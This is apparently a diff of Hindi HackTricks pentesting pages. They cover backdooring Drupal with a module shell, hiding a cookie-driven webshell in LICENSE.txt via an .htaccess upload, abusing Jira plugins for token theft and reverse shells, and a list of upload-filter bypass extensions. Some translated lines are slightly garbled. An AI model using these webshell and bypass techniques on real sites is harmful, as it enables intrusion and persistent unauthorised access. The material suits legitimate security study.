यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -75,7 +75,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें.**
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -47,7 +47,7 @@ curl http://drupal-site.local/node/3
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. डाउनलोड करने के बाद **`Administration`** > **`Reports`** > **`Available updates`** पर जाएं।
3. **`Browse`** पर क्लिक करें, उस निर्देशिका से फ़ाइल का चयन करें जहाँ हमने इसे डाउनलोड किया था, और फिर **`Install`** पर क्लिक करें।
4. एक बार मॉड्यूल स्थापित हो जाने पर, हम **`Content`** पर क्लिक कर सकते हैं और **एक नया बुनियादी पृष्ठ बनाएँ**, जैस कि हमने Drupal 7 उदाहरण में किया था। फिर से, सुनिश्चित करें कि **`Text format`** ड्रॉपडाउन से `PHP code` का चयन करें।
4. एक बार मॉड्यूल स्थापित हो जाने पर, हम **`Content`** पर क्लिक कर सकते हैं और **एक नया बुनियादी पृष्ठ बनाएँ**, जैस कि हमने Drupal 7 उदाहरण में किया था। फिर से, सुनिश्चित करें कि **`Text format`** ड्रॉपडाउन से `PHP code` का चयन करें।
## बैकडोर मॉड्यूल
@ -55,7 +55,7 @@ curl http://drupal-site.local/node/3
वर्तमान संस्करणों में, डिफ़ॉल्ट स्थापना के बाद केवल वेब तक पहुँच होने पर प्लगइन्स स्थापित करना अब संभव नहीं है।
{% endhint %}
एक बैकडोर मॉड्यूल **िसी मौजूदा मॉड्यूल में शेल जोड़कर** बनाया जा सकता है। मॉड्यूल drupal.org वेबसाइट पर पाए जा सकते हैं। चलिए [CAPTCHA](https://www.drupal.org/project/captcha) जैसे एक मॉड्यूल का चयन करते हैं। नीचे स्क्रॉल करें और tar.gz [आर्काइव](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) के लिए लिंक कॉपी करें।
एक बैकडोर मॉड्यूल **क मौजूदा मॉड्यूल में शेल जोड़कर** बनाया जा सकता है। मॉड्यूल drupal.org वेबसाइट पर पाए जा सकते हैं। चलिए [CAPTCHA](https://www.drupal.org/project/captcha) जैसे एक मॉड्यूल का चयन करते हैं। नीचे स्क्रॉल करें और tar.gz [आर्काइव](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) क लिंक कॉपी करें।
* आर्काइव डाउनलोड करें और इसकी सामग्री निकालें।
```
@ -75,21 +75,21 @@ RewriteEngine On
RewriteBase /
</IfModule>
```
* उपरोक्त कॉन्फ़िगरेशन /modules में फ़ाइल का अनुरोध करते समय / फ़ोल्डर के लिए नियम लागू करेगा। इन दोनों फ़ाइलों को कैप्चा फ़ोल्डर में कॉपी करें और एक संग्रह बनाएँ।
* उपरोक्त कॉन्फ़िगरेशन / फ़ोल्डर के लिए नियम लागू करेगा जब हम /modules में एक फ़ाइल का अनुरोध करते हैं। इन दोनों फ़ाइलों को कैप्चा फ़ोल्डर में कॉपी करें और एक संग्रह बनाएँ।
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* मान लीजिए कि हमारे पास वेबसाइट पर **प्रशासनिक पहुंच** है, **`Manage`** पर क्लिक करें और फिर साइडबार में **`Extend`** पर क्लिक करें। अगला, **`+ Install new module`** बटन पर क्लिक करें, और हमें इंस्टॉलेशन पृष्ठ पर ले जाया जाएगा, जैसे `http://drupal-site.local/admin/modules/install` बैकडोर किए गए कैप्चा आर्काइव पर जाएं और **`Install`** पर क्लिक करें।
* मान लीजिए कि हमारे पास **प्रशासनिक पहुंच** है वेबसाइट पर, **`Manage`** पर क्लिक करें और फिर साइडबार में **`Extend`** पर क्लिक करें। अगला, **`+ Install new module`** बटन पर क्लिक करें, और हमें इंस्टॉलेशन पृष्ठ पर ले जाया जाएगा, जैसे `http://drupal-site.local/admin/modules/install` बैकडोर किए गए कैप्चा संग्रह पर जाएं और **`Install`** पर क्लिक करें।
* एक बार इंस्टॉलेशन सफल होने के बाद, **`/modules/captcha/shell.php`** पर जाएं ताकि कमांड निष्पादित कर सकें।
## कॉन्फ़िगरेशन समन्वय के साथ Drupal का बैकडोरिंग <a href="#backdooring-drupal" id="backdooring-drupal"></a>
## Drupal को कॉन्फ़िगरेशन समन्वय के साथ बैकडोर करना <a href="#backdooring-drupal" id="backdooring-drupal"></a>
**पोस्ट साझा की गई** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
### भाग 1 (_Media_ और _Media Library_ का सक्रियण)
_Extend_ मेनू (/admin/modules) में, आप उन प्लगइन्स को सक्रिय कर सकते हैं जो पहले से स्थापित प्रतीत होते हैं। डिफ़ॉल्ट रूप से, प्लगइन्स _Media_ और _Media Library_ सक्रिय नहीं दिखाई देते हैं, इसलिए चलिए इन्हें सक्रिय करते हैं।
_Extend_ मेनू (/admin/modules) में, आप उन प्लगइन्स को सक्रिय कर सकते हैं जो पहले से स्थापित प्रतीत होते हैं। डिफ़ॉल्ट रूप से, प्लगइन्स _Media_ और _Media Library_ सक्रिय नहीं होते हैं, इसलिए चलिए इन्हें सक्रिय करते हैं।
सक्रियकरण से पहले:
@ -97,13 +97,13 @@ _Extend_ मेनू (/admin/modules) में, आप उन प्लगइ
सक्रियकरण के बाद:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### भाग 2 (_Configuration synchronization_ फीचर का लाभ उठाना) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
### भाग 2 (_Configuration synchronization_ फीचर का लाभ उठाना) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
हम _Configuration synchronization_ फीचर का लाभ उठाकर Drupal कॉन्फ़िगरेशन प्रविष्टियों को डंप (निर्यात) और अपलोड (आयात) करेंगे:
हम _Configuration synchronization_ीचर का लाभ उठाकर Drupal कॉन्फ़िगरेशन प्रविष्टियों को डंप (निर्यात) और अपलोड (आयात) करेंगे:
* /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import
@ -166,13 +166,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
...
```
> मैं इसे इस ब्लॉगपोस्ट में उपयोग नहीं करता, लेकिन यह नोट किया गया है कि इसे मनमाने तरीके से `file_directory` प्रविष्टि को परिभाषित करना संभव है और यह एक पथ traversal हमले के लिए संवेदनशील है (इसलिए हम Drupal फ़ाइल सिस्टम पेड़ के भीतर वापस जा सकते हैं)।
> मैं इसे इस ब्लॉगपोस्ट में उपयोग नहीं करता लेकिन यह नोट किया गया है कि इसे मनमाने तरीके से `file_directory` प्रविष्टि को परिभाषित करना संभव है और यह एक पथ traversal हमले के लिए संवेदनशील है (इसलिए हम Drupal फ़ाइल सिस्टम पेड़ के भीतर वापस जा सकते हैं)।
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### भाग 3 (विशेषता _दस्तावेज़ जोड़ें_ का लाभ उठाना) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
अंतिम चरण सबसे सरल है, और इसे दो उप-चरणों में विभाजित किया गया है। पहला है .htaccess प्रारूप में एक फ़ाइल अपलोड करना ताकि Apache निर्देशों का लाभ उठाया जा सके और .txt फ़ाइलों को PHP इंजन द्वारा व्याख्यायित करने की अनुमति दी जा सके। दूसरा है एक .txt फ़ाइल अपलोड करना जिसमें हमारा payload हो
अंतिम चरण सबसे सरल है, और इसे दो उप-चरणों में विभाजित किया गया है। पहला है .htaccess प्रारूप में एक फ़ाइल अपलोड करना ताकि Apache निर्देशों का लाभ उठाया जा सके और .txt फ़ाइलों को PHP इंजन द्वारा व्याख्यायित करने की अनुमति दी जा सके। दूसरा है हमारी पेलोड वाली .txt फ़ाइल अपलोड करना।
File: .htaccess
```
@ -194,11 +194,11 @@ php_flag engine on
```
क्यों यह ट्रिक कूल है?
क्योंकि एक बार जब Webshell (जिसे हम LICENSE.txt कहेंगे) वेब सर्वर पर ड्रॉप किया जाता है, हम अपने कमांड `$_COOKIE` के माध्यम से भेज सकते हैं और वेब सर्वर लॉग में, यह एक वैध GET अनुरोध के रूप में एक टेक्स्ट फ़ाइल के लिए दिखाई देगा।
क्योंकि एक बार जब Webshell (जिसे हम LICENSE.txt कहेंगे) वेब सर्वर पर डाल दिया जाता है, हम अपने कमांड `$_COOKIE` के माध्यम से भेज सकते हैं और वेब सर्वर लॉग में, यह एक वैध GET अनुरोध के रूप में एक टेक्स्ट फ़ाइल के लिए दिखाई देगा।
हमारे Webshell का नाम LICENSE.txt क्यों रखा जाए?
सिर्फ इसलिए क्योंकि यदि हम निम्नलिखित फ़ाइल लेते हैं, उदाहरण के लिए [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (जो पहले से ही Drupal कोर में मौजूद है), तो हमारे पास 339 पंक्तियों और 17.6 KB आकार की एक फ़ाइल है, जो बीच में एक छोटा PHP कोड स्निपेट जोड़ने के लिए एकदम सही है (क्योंकि फ़ाइल काफी बड़ी है)।
सिर्फ इसलिए क्योंकि यदि हम निम्नलिखित फ़ाइल लेते हैं, उदाहरण के लिए [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (जो पहले से ही Drupal कोर में मौजूद है), तो हमारे पास 339 पंक्तियों और 17.6 KB आकार की एक फ़ाइल है, जो बीच में एक छोटा PHP कोड स्निपेट जोड़ने के लिए एकदम सही है (क्योंकि फ़ाइल काफी बड़ी है)।
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -231,7 +231,7 @@ programs whose distribution conditions are different, write to the author
...
```
#### **Part 3.1 (फाइल अपलोड करें .htaccess)**
#### **भाग 3.1 (फाइल अपलोड करें .htaccess)**
पहले, हम _Add Document_ (/media/add/document) सुविधा का उपयोग करके अपनी फाइल अपलोड करते हैं जिसमें Apache निर्देश (.htaccess) होते हैं।
@ -241,7 +241,7 @@ programs whose distribution conditions are different, write to the author
<figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Part 3.2 (फाइल अपलोड करें LICENSE.txt)**
**भाग 3.2 (फाइल अपलोड करें LICENSE.txt)**
फिर, हम _Add Document_ (/media/add/document) सुविधा का फिर से उपयोग करते हैं ताकि एक लाइसेंस फाइल के भीतर छिपा हुआ Webshell अपलोड किया जा सके।
@ -251,7 +251,7 @@ programs whose distribution conditions are different, write to the author
<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
### Part 4 (Webshell के साथ इंटरैक्शन) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
### भाग 4 (Webshell के साथ इंटरैक्शन) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
अंतिम भाग Webshell के साथ इंटरैक्ट करने का है।
@ -263,23 +263,23 @@ programs whose distribution conditions are different, write to the author
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
और जैसा कि आप लॉग में देख सकते हैं, ऐसा लगता है कि केवल एक txt फाइल मांगी गई है।
और जैसा कि आप लॉग में देख सकते हैं, ऐसा लगता है कि केवल एक txt फाइल का अनुरोध किया गया है।
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
इस लेख को पढ़ने के लिए समय निकालने के लिए धन्यवाद, मुझे उम्मीद है कि यह आपको कुछ शेल प्राप्त करने में मदद करेगा।
इस लेख को पढ़ने के लिए धन्यवाद, मुझे उम्मीद है कि यह आपको कुछ शेल प्राप्त करने में मदद करेगा।
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks का समर्थन करें</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details>
{% endhint %}

View file

@ -15,17 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अ-हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
{% embed url="https://www.stmcyber.com/careers" %}
## Check Privileges
Jira में, **privileges को किसी भी उपयोगकर्ता द्वारा जांचा जा सकता है**, चाहे वह प्रमाणित हो या न हो, `/rest/api/2/mypermissions` या `/rest/api/3/mypermissions` के एंडपॉइंट्स के माध्यम से। ये एंडपॉइंट्स उपयोगकर्ता के वर्तमान privileges को प्रकट करते हैं। एक महत्वपूर्ण चिंता तब उत्पन्न होती है जब **गैर-प्रमाणित उपयोगकर्ताओं के पास privileges होते हैं**, जो एक **सुरक्षा कमजोरियों** को इंगित करता है जो संभावित रूप से **बाउंटी** के लिए योग्य हो सकता है। इसी तरह, **प्रमाणित उपयोगकर्ताओं के लिए अप्रत्याशित privileges** भी एक **कमजोरी** को उजागर करते हैं।
Jira में, **privileges को किसी भी उपयोगकर्ता द्वारा जांचा जा सकता है**, चाहे वह प्रमाणित हो या न हो, `/rest/api/2/mypermissions` या `/rest/api/3/mypermissions` के एंडपॉइंट्स के माध्यम से। ये एंडपॉइंट्स उपयोगकर्ता के वर्तमान अधिकारों को प्रकट करते हैं। एक महत्वपूर्ण चिंता तब उत्पन्न होती है जब **गैर-प्रमाणित उपयोगकर्ताओं के पास अधिकार होते हैं**, जो एक **सुरक्षा भेद्यता** को इंगित करता है जो संभावित रूप से **बाउंटी** के लिए योग्य हो सकता है। इसी तरह, **प्रमाणित उपयोगकर्ताओं के लिए अप्रत्याशित अधिकार** भी एक **भेद्यता** को उजागर करते हैं।
**1 फरवरी 2019** को एक महत्वपूर्ण **अपडेट** किया गया, जिसमें 'mypermissions' एंडपॉइंट को एक **'permission' पैरामीटर** शामिल करने की आवश्यकता थी। यह आवश्यकता **सुरक्षा को बढ़ाने** के लिए है, जो पूछे गए privileges को निर्दिष्ट करती है: [यहाँ जांचें](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
**1 फरवरी 2019** को एक महत्वपूर्ण **अपडेट** किया गया था, जिसमें 'mypermissions' एंडपॉइंट को एक **'permission' पैरामीटर** शामिल करने की आवश्यकता थी। यह आवश्यकता **सुरक्षा को बढ़ाने** के लिए है, जो पूछे गए अधिकारों को निर्दिष्ट करती है: [यहाँ जांचें](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -84,7 +84,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
जैसा कि इस [**ब्लॉग**](https://cyllective.com/blog/posts/atlassian-audit-plugins) में संकेत दिया गया है, [प्लगइन मॉड्यूल्स ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) के बारे में दस्तावेज़ में विभिन्न प्रकार के प्लगइनों की जांच करना संभव है, जैसे:
* [REST Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): RESTful API एंडपॉइंट्स को उजागर करें
* [Servlet Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): एक प्लगइन के हिस्से के रूप में जावा सर्वलेट्स को तैनात करें
* [Servlet Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): एक प्लगइन के हिस्से के रूप में Java सर्वलेट्स को तैनात करें
* [Macro Plugin Module ↗](https://developer.atlassian.com/server/confluence/macro-module/): Confluence मैक्रोज़ को लागू करें, यानी पैरामीटरयुक्त HTML टेम्पलेट्स
यह मैक्रो प्लगइन प्रकार का एक उदाहरण है:
@ -112,26 +112,26 @@ public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; }
}
```
यह देखना संभव है कि ये प्लगइन सामान्य वेब कमजोरियों जैसे XSS के प्रति संवेदनशील हो सकते हैं। उदाहरण के लिए, पिछले उदाहरण में यह संवेदनशील है क्योंकि यह उपयोगकर्ता द्वारा दिए गए डेटा को दर्शा रहा है।&#x20;
यह देखना संभव है कि ये प्लगइन्स सामान्य वेब कमजोरियों जैसे XSS के प्रति संवेदनशील हो सकते हैं। उदाहरण के लिए, पिछले उदाहरण में यह संवेदनशील है क्योंकि यह उपयोगकर्ता द्वारा दिए गए डेटा को दर्शा रहा है।&#x20;
एक बार जब XSS मिल जाता है, तो [**इस github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) में आप XSS के प्रभाव को बढ़ाने के लिए कुछ पेलोड पा सकते हैं।
एक बार जब XSS मिल जाता है, तो [**इस github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) में आप XSS के प्रभाव को बढ़ाने के लिए कुछ पेलोड्स पा सकते हैं।
## बैकडोर प्लगइन
[**यह पोस्ट**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) विभिन्न (दुष्ट) क्रियाओं का वर्णन करती है जो एक दुष्ट Jira प्लगइन कर सकता है। आप [**कोड उदाहरण इस repo में**](https://github.com/cyllective/malfluence) पा सकते हैं।
[**यह पोस्ट**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) विभिन्न (दुष्ट) कार्यों का वर्णन करती है जो एक दुष्ट Jira प्लगइन कर सकता है। आप [**कोड उदाहरण इस repo में**](https://github.com/cyllective/malfluence) पा सकते हैं।
ये कुछ क्रियाएँ हैं जो एक दुष्ट प्लगइन कर सकता है:
ये कुछ कार्य हैं जो एक दुष्ट प्लगइन कर सकता है:
* **एडमिन से प्लगइन्स छिपाना**: कुछ फ्रंट-एंड जावास्क्रिप्ट इंजेक्ट करके दुष्ट प्लगइन को छिपाना संभव है।
* **अटैचमेंट और पृष्ठों को एक्सफिल्ट्रेट करना**: सभी डेटा तक पहुंचने और उसे एक्सफिल्ट्रेट करने की अनुमति देना।
* **सत्र टोकन चुराना**: एक एंडपॉइंट जोड़ें जो प्रतिक्रिया में हेडर को इको करेगा (कुकी के साथ) और कुछ जावास्क्रिप्ट जो इसे संपर्क करेगा और कुकीज़ को लीक करेगा।
* **कमांड निष्पादन**: निश्चित रूप से, एक प्लगइन बनाना संभव है जो कोड निष्पादित करेगा।
* **रिवर्स शेल**: या एक रिवर्स शेल प्राप्त करें।
* **DOM प्रॉक्सीइंग**: यदि कॉन्फ्लुएंस एक निजी नेटवर्क के अंदर है, तो यह संभव होगा कि कुछ उपयोगकर्ता के ब्राउज़र के माध्यम से कनेक्शन स्थापित किया जाए जो इसके लिए पहुंच रखता है और उदाहरण के लिए सर्वर कमांड निष्पादन के माध्यम से संपर्क करे
* **DOM प्रॉक्सीइंग**: यदि कॉन्फ्लुएंस एक निजी नेटवर्क के अंदर है, तो यह संभव होगा कि कुछ उपयोगकर्ता के ब्राउज़र के माध्यम से एक कनेक्शन स्थापित किया जाए जो इसके लिए पहुंच रखता है और उदाहरण के लिए, इसके माध्यम से सर्वर कमांड निष्पादित करने के लिए संपर्क करें
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अडिग को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -143,8 +143,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का अनुसरण करें।**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR सबमिट करें।**
</details>

View file

@ -9,15 +9,15 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **हमसे जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हम** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जाने की आवश्यकता है_)।
{% embed url="https://www.stmcyber.com/careers" %}
@ -36,7 +36,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
### फ़ाइल एक्सटेंशन जांच को बायपास करें
1. यदि लागू हो, तो **पिछले एक्सटेंशन की जांच करें।** कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._
1. यदि लागू हो, तो **पिछले एक्सटेंशन** की **जांच** करें। कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._
2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशन का भी उपयोग करें):_
* _file.png.php_
* _file.png.Php5_
@ -50,7 +50,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* _file._
* _file.php...._
* _file.pHp5...._
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **एक्सटेंशन को डबल करना** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशन के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशन** का भी उपयोग कर सकते हैं।_
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **डबलिंग** **एक्सटेंशन** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशनों के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशन** का भी उपयोग कर सकते हैं।_
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@ -59,13 +59,13 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. पिछले चेक में **एक और परत के एक्सटेंशन** जोड़ें:
5. पिछले चेक के लिए **एक और परत एक्सटेंशनों** को जोड़ें:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (यह उन Apache गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी है जहां कोई भी एक्सटेंशन **.php** के साथ समाप्त नहीं होता है, लेकिन कोड निष्पादित करेगा):
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (यह उन Apache गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी है जहां किसी भी एक्सटेंशन** _**.php**_**, लेकिन** न कि आवश्यक रूप से .php** में समाप्त होने पर कोड निष्पादित होगा):
* _उदाहरण: file.php.png_
